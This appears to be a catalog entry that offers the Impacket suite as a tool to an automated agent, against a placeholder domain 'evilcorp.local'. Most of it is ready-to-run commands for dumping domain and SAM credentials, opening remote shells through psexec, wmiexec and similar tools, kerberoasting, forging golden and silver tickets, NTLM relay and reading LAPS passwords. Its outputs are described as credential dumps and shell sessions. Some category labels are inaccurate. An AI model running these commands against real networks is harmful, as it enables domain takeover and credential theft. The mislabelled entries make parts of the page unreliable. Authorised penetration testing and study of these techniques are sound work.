Collection of Python classes and scripts for working with network protocols and Windows AD, including secretsdump, psexec, wmiexec, kerberoast, and NTLM relay tools.
impacket-{script} {target} 📎 script 🌍 target → ip impacket-{script} {target}Sandbox: execFile · Timeout: 300s
security.credential.dump.ntds security.credential.dump.sam security.credential.dump.lsa security.lateral.psexec security.lateral.wmiexec security.lateral.smbexec security.lateral.atexec security.ad.asreproast security.ad.kerberoast security.ad.goldenticket security.ad.silverticket security.ad.ntlmrelay security.ad.enum.users security.ad.enum.shares security.ad.laps security.ad.rbcd security.ad.coerce security.ad.rpcdump security.ad.samrdump | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
script | string | Yes | - | Impacket script name (secretsdump, psexec, wmiexec, etc.) | - |
target | string | Yes | - | Target in format user:pass@ip or domain/user:hash@ip | - |
action | string | No | - | Script-specific action or mode | - |
Inputs
network.target.ip Target IP address or domain controller
credential.username Domain username
credential.password Plaintext password or NTLM hash
Outputs
security.credential.dump Extracted hashes, plaintext, and tickets
security.shell.session Remote shell session (psexec/wmiexec/etc)
network_trafficprocess_spawnfilesystem_write Produces
security.credential.dumpsecurity.shell.sessionConsumes
network.target.ipcredential.usernamecredential.password| Resource | Value |
|---|---|
| CPU | low |
| Memory | 128 MB |
| Network | medium |
| Disk I/O | low |
Dump all domain credentials from NTDS.dit
impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator:Pass123@10.10.10.1Dump NTDS.dit with NTLM hash authentication
impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCALRemote SAM hive dump
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCALPsexec interactive shell
impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1WMI exec (less noisy than psexec)
impacket-wmiexec evilcorp.local/administrator:Pass123@10.10.10.1SMB exec via Windows SMB shares
impacket-smbexec evilcorp.local/administrator:Pass123@10.10.10.1Schedule task execution via at.exe / schtasks
impacket-atexec evilcorp.local/administrator:Pass123@10.10.10.1 whoamiAS-REP roasting — find users without pre-authentication
impacket-GetNPUsers -dc-ip 10.10.10.1 -request evilcorp.local/userKerberoasting — request TGS for service accounts
impacket-GetUserSPNs -dc-ip 10.10.10.1 -request evilcorp.local/user:Pass123Get TGT for a user
impacket-getTGT evilcorp.local/user:Pass123 -dc-ip 10.10.10.1Get service ticket (ST) for impersonation
impacket-getST -dc-ip 10.10.10.1 -spn cifs/target.evilcorp.local evilcorp.local/user:Pass123Golden ticket — forge KRBTGT ticket
impacket-ticketer -nthashes <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local administratorSilver ticket — forge service ticket
impacket-ticketer -nthashes <SERVICE_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local -spn cifs/target.evilcorp.local administratorNTLM relay with ntlmrelayx (capture + relay)
impacket-ntlmrelayx -tf targets.txt -smb2support -socksNTLM relay to LDAP for RBCD
impacket-ntlmrelayx -t ldap://10.10.10.1 -smb2support --delegate-accessEnumerate users via SAMR protocol
impacket-samrdump -samr 10.10.10.1Enumerate users via LookupSID
impacket-lookupsid evilcorp.local/administrator:Pass123@10.10.10.1RPC endpoint mapper dump
impacket-rpcdump 10.10.10.1SMB client interactive shell
impacket-smbclient evilcorp.local/administrator:Pass123@10.10.10.1DCOM execution via MMC20.Application
impacket-dcomexec evilcorp.local/administrator:Pass123@10.10.10.1LAPS password reader
impacket-GetLAPSPasswords -dc-ip 10.10.10.1 evilcorp.local/user:Pass123Add computer to domain (ESC1 machine account)
impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakePass123' -dc-ip 10.10.10.1 evilcorp.local/user:Pass123Impacket is a collection of Python classes for working with network protocols and a suite of executable scripts covering nearly every aspect of Active Directory assessment.
| Category | Scripts |
|---|---|
| Credential Dumping | secretsdump, lsadump, samrdump |
| Remote Execution | psexec, wmiexec, smbexec, atexec, dcomexec |
| Kerberos | GetNPUsers, GetUserSPNs, getTGT, getST, ticketer |
| Relay | ntlmrelayx, smbrelayx |
| Enumeration | lookupsid, rpcdump, smbclient, reg |
| AD CS | addcomputer, GetLAPSPasswords |